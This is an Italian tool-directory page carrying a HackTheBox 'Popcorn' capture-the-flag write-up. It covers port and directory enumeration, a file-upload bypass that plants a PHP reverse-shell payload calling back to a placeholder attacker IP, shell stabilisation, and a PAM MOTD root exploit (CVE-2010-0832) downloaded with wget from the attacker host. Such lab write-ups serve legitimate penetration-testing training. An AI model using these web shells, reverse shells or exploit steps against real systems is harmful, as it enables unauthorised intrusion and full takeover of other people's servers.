Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Popcorn-TJNULL-OSCP- — Write-up di Popcorn HTB che copre il directory fuzzing avanzato, il bypass del caricamento di file tramite spoofing di magic numbers/estensione usando Burp Suite, e l'escalation dei privilegi attraverso CVE-2010-0832 (PAM MOTD File Tampering). | Kitploit
Strumenti/GitHubGitHub/r3fr4kt/popcorn-tjnull-oscp-
Escalation di PrivilegiRicognizioneAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebFuzzingCTFPenetration TestingApprendimento e Formazione

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Lab e Pratica
GitHubr3fr4kt/popcorn-tjnull-oscp-

Popcorn-TJNULL-OSCP-

Write-up di Popcorn HTB che copre il directory fuzzing avanzato, il bypass del caricamento di file tramite spoofing di magic numbers/estensione usando Burp Suite, e l'escalation dei privilegi attraverso CVE-2010-0832 (PAM MOTD File Tampering).

Vedi Repository
2 mesi faNon ancora revisionato

HackTheBox: Write-up di Popcorn

Data: 05 giugno 2026
Difficoltà: Facile
Piattaforma: HackTheBox
Tecniche principali: Enumerazione di porte e servizi, Fuzzing delle directory (Gobuster), Evasione del caricamento file, Manipolazione delle richieste HTTP (Burp Suite), Esecuzione remota di codice (RCE), Stabilizzazione avanzata della shell TTY (Python), Sfruttamento locale del kernel/PAM (Manomissione dei file MOTD).


1. Ricognizione ed Enumerazione

Scansione delle porte (Ricognizione rapida)

Iniziamo eseguendo una scansione rapida delle porte TCP su tutte le 65.535 porte (-p-) per individuare i punti di ingresso aperti. Ottimizziamo la velocità di esecuzione utilizzando --min-rate 5000 e saltiamo la risoluzione DNS e i ping sweep per snellire il processo in un ambiente di auditing:

root@kitploit:~
nmap -Pn -n -sS -p- --open --min-rate 5000 <VICTIM_IP>

La scansione iniziale scopre in modo affidabile due porte aperte: la porta 22 (SSH) e la porta 80 (HTTP).

Scansione dei servizi e delle vulnerabilità (Analisi approfondita)

Successivamente, eseguiamo una scansione mirata e approfondita sulle porte identificate per determinare le versioni esatte dei servizi ed eseguire gli script standard e di vulnerabilità di base di Nmap:

root@kitploit:~
nmap -sCV -p22,80 --script="safe and vuln" <VICTIM_IP>

Dall'output, estraiamo informazioni critiche riguardanti l'ecosistema del target:

  • Porta 22/TCP (SSH): OpenSSH 5.1 Debian 6ubuntu2 (Indica una distribuzione Ubuntu Linux significativamente datata).
  • Porta 80/TCP (HTTP): Apache httpd 2.2.12

Fuzzing delle directory (Gobuster)

Prima di interagire con l'applicazione web tramite browser, aggiungiamo l'indirizzo IP del target al file /etc/hosts della nostra macchina attaccante per pulire il mapping dei domini e assicurarci che i reindirizzamenti interni vengano risolti correttamente:

root@kitploit:~
<VICTIM_IP>    popcorn.htb

Eseguiamo quindi una scoperta automatica delle directory nascoste utilizzando gobuster insieme alla classica wordlist di medie dimensioni di DirBuster:

root@kitploit:~
gobuster dir -u [http://popcorn.htb/](http://popcorn.htb/) -w /usr/share/wordlists/dirbuster/directory-lists-2.3-medium.txt

La fase di fuzzing scopre i seguenti percorsi accessibili sul server web della vittima:

  • /index (Pagina di indice standard).
  • /test (Pannello di test o file informativo di sviluppo).
  • /torrent (Una piattaforma web completamente funzionale dedicata all'hosting e alla condivisione di file torrent).
  • /response (Pagina di risposta interna).

2. Vettore di accesso iniziale (Sfruttamento web ed evasione dei filtri)

Esplorando la directory /torrent si scopre un CMS per la condivisione di torrent. Per interagire con le funzionalità di caricamento, ci registriamo e accediamo a un account valido creato al momento. Dopo aver pubblicato un file .torrent legittimo, la piattaforma abilita l'opzione per modificare i dettagli del torrent e caricare un'immagine di screenshot promozionale. Questo modulo specifico diventa il nostro vettore d'attacco primario.

Per ottenere l'esecuzione remota di codice (RCE), attraversiamo una serie di fasi di test, analizzando il comportamento del backend utilizzando Burp Suite (Repeater):

Tentativo 1: Webshell dinamica tramite parametri GET (Errore di sintassi)

Intercettiamo la richiesta di caricamento dello screenshot e modifichiamo il nome del file in exploit.php. Tentiamo di inserire una classica webshell one-liner nel corpo del file:

root@kitploit:~
<?php system($_GET['cmd']) ?>

Risultato: Il server web restituisce un errore di esecuzione interno a causa di un punto e virgola ; mancante alla fine dell'istruzione PHP, interrompendo il flusso di esecuzione.

Tentativo 2: Iniezione con parametri nell'URL di upload (Fallimento del metodo)

Correggiamo la sintassi in <?php system($_GET['cmd']); ?>, ma poiché la richiesta viene inviata tramite POST (usando multipart/form-data), proviamo a passare il nostro comando direttamente nell'URL dell'intestazione (POST /torrent/upload_file.php?cmd=whoami). Risultato: Il server web lancia il seguente errore:

root@kitploit:~
Cannot execute a blank command

Analisi: Durante l'analisi del caricamento del file, il backend ignora completamente le variabili GET presenti nell'URL. Lo script upload_file.php scrive il file su disco ma tenta immediatamente di eseguire la funzione interna. Poiché non riceve nulla nelle variabili del corpo previste, $_GET['cmd'] viene elaborato come vuoto.

Tentativo 3: Doppia estensione (Fallimento dell'esecuzione statica)

Per aggirare i filtri di controllo delle estensioni di base che verificano se il file è un'immagine valida, rinominiamo il file in innocent.php.png e hardcodiamo un payload di reverse shell in modo che non dipenda da parametri esterni:

root@kitploit:~
Content-Disposition: form-data; name="file"; filename="innocent.php.png"
Content-Type: image/png

‰PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>

Risultato: Il server risponde con un 200 OK di successo che afferma:

root@kitploit:~
Upload: innocent.php.png<br />Type: image/png<br />Upload Completed.

Analisi: Sebbene abbia bypassato con successo il filtro iniziale, poiché il file terminava strettamente con un'estensione .png, il server Apache lo ha trattato come una normale immagine statica. Quando si naviga ad esso, il browser stampa semplicemente i byte grezzi come testo semplice; Apache non passa mai il file all'interprete PHP, il che significa che il nostro listener Netcat non cattura mai una connessione.

Tentativo 4: Bypass riuscito (Modifica dell'estensione e numeri magici)

Sapendo che il server deve analizzare l'estensione .php per innescare l'esecuzione del codice, invertiamo l'ordine delle estensioni (innocent.png.php), manteniamo intatta l'intestazione Content-Type: image/png e prependiamo la firma PNG o Magic Numbers (‰PNG) all'inizio del corpo del file per ingannare i controlli di validazione del contenuto del backend:

root@kitploit:~
POST /torrent/upload_file.php HTTP/1.1
Host: popcorn.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaBXxWz7L0ZMSUoc1

------WebKitFormBoundaryaBXxWz7L0ZMSUoc1
Content-Disposition: form-data; name="file"; filename="innocent.png.php"
Content-Type: image/png

‰PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>
------WebKitFormBoundaryaBXxWz7L0ZMSUoc1--

Risultato: Il server web accetta pulitamente il file, elabora l'estensione finale e lo salva nella directory di upload con il nome innocent.php:

root@kitploit:~
HTTP/1.1 200 OK
...
Upload: innocent.php<br />Type: image/png<br />Size: 0.2255859375 Kb<br />Upload Completed.

Innesco dell'esecuzione remota di codice (RCE)

Poiché lo script di upload memorizza solo il file su disco senza eseguirlo nel contesto della richiesta POST di upload, inneschiamo una chiamata indipendente per forzare il server a leggerlo:

  1. Configuriamo un listener Netcat sulla nostra macchina attaccante:
root@kitploit:~
nc -lvnp 4444

  1. Attiviamo la reverse shell navigando direttamente al percorso URL del file caricato (tramite browser o usando una richiesta GET pulita in Burp):
root@kitploit:~
[http://popcorn.htb/torrent/upload/innocent.php](http://popcorn.htb/torrent/upload/innocent.php)

Il server Apache è costretto a elaborare il file, rileva i tag PHP, esegue il payload Bash e la connessione viene catturata perfettamente dal nostro listener, concedendo l'accesso iniziale come utente www-data.


3. Post-sfruttamento e stabilizzazione della shell TTY

Tentare di elevare i privilegi immediatamente dopo aver ricevuto la shell evidenzia gravi limitazioni dell'ambiente:

root@kitploit:~
www-data@popcorn:/$ su root
su: must be run from a terminal

Il comando su richiede rigorosamente un terminale interattivo reale (TTY) per accettare input in modo sicuro. Tentare di forzarne uno tramite python3 indica che non è installato su questo sistema legacy (The program 'python3' is currently not installed).

Superiamo questo ostacolo utilizzando il binario Python classico (Python 2) presente sulla macchina e riconfigurando i descrittori del terminale della nostra macchina attaccante:

root@kitploit:~
# 1. Spawn an interactive shell using the absolute path of legacy Python
/usr/bin/python -c 'import pty; pty.spawn("/bin/bash")'

# 2. Suspend the shell process to the background
Ctrl + Z

# 3. On our attacker terminal, set the keyboard state to raw and foreground the Netcat listener
stty raw -echo; fg

# 4. Force a screen refresh and map terminal environment variables for history and autocomplete support
reset xterm
export TERM=xterm
export SHELL=bash


4. Escalation dei privilegi

Enumerazione del sistema locale

Ispezioniamo la distribuzione del sistema operativo e la versione del kernel Linux in esecuzione sulla macchina vittima:

root@kitploit:~
www-data@popcorn:/$ uname -a
Linux popcorn 2.6.31-14-generic #48-Ubuntu SMP Fri Oct 16 14:05:01 UTC 2009 i686 GNU/Linux

www-data@popcorn:/$ cat /etc/issue
Ubuntu 9.10 \n \l

Il sistema operativo punta a una release vintage di Ubuntu (Karmic Koala), il cui kernel e i pacchetti principali contengono diverse vulnerabilità note di escalation locale dei privilegi.

Sfruttamento della falla PAM MOTD

Identifichiamo un vettore molto valido che coinvolge l'analisi del messaggio del giorno da parte di PAM (Linux PAM 1.1.0 - MOTD File Tampering Privilege Escalation, tracciato con CVE-2010-0832). Questa vulnerabilità consente agli utenti locali di manipolare file di proprietà di root tramite una gestione non sicura dei symlink durante le azioni di autenticazione SSH locale.

Sfruttiamo lo script exploit pubblico 14339.sh per automatizzare il percorso di attacco.

  1. Scarichiamo l'exploit sulla nostra macchina attaccante e avviamo un server HTTP Python di base per ospitarlo:
root@kitploit:~
searchsploit -m linux/local/14339.sh
python3 -m http.server 80

  1. Dalla shell stabilizzata su Popcorn, navighiamo nella directory /tmp (che concede permessi globali di lettura/scrittura/esecuzione), scarichiamo lo script e lo rendiamo eseguibile:
root@kitploit:~
cd /tmp
wget http://<ATTACKER_IP>/14339.sh -O motd.sh
chmod +x motd.sh
./motd.sh

Output dell'exploit:

root@kitploit:~
[*] Ubuntu PAM MOTD local root
[*] SSH key set up
[*] spawn ssh
[+] owned: /etc/passwd
[*] spawn ssh
[+] owned: /etc/shadow
[*] SSH key removed
[+] Success! Use password toor to get root

Lo script completa con successo l'esecuzione, manomettendo direttamente il database utente locale in /etc/passwd.

Elevazione a root

A causa del funzionamento interno dell'exploit, esso non altera la password dell'account utente root originale. Invece, inietta un nuovo utente clone con privilegi di root alla fine del file /etc/passwd.

Confermiamo ciò leggendo l'ultima riga del file utente:

root@kitploit:~
www-data@popcorn:/tmp$ tail -n 1 /etc/passwd
toor:x:0:0:root:/root:/bin/bash

Nota: La configurazione 0:0 (UID/GID) concede a questo account parametri di identità identici a quelli dell'amministratore root.

Mentre eseguire su root con la password toor produce un errore di Autenticazione fallita perché l'account root originale è intatto, la nostra shell TTY Python stabilizzata ci consente di cambiare utente senza problemi puntando all'account clone personalizzato:

root@kitploit:~
www-data@popcorn:/tmp$ su toor
Password: toor

Forniamo la password (toor), trasformando istantaneamente il nostro prompt del terminale nell'identificatore hash supremo (#):

root@kitploit:~
root@popcorn:/tmp# whoami
toor

root@popcorn:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

La macchina target è completamente compromessa. Ora abbiamo accesso amministrativo per raccogliere gli hash delle flag richieste:

  • Flag utente: /home/george/user.txt
  • Flag di root: /root/root.txt
Scarica lo strumento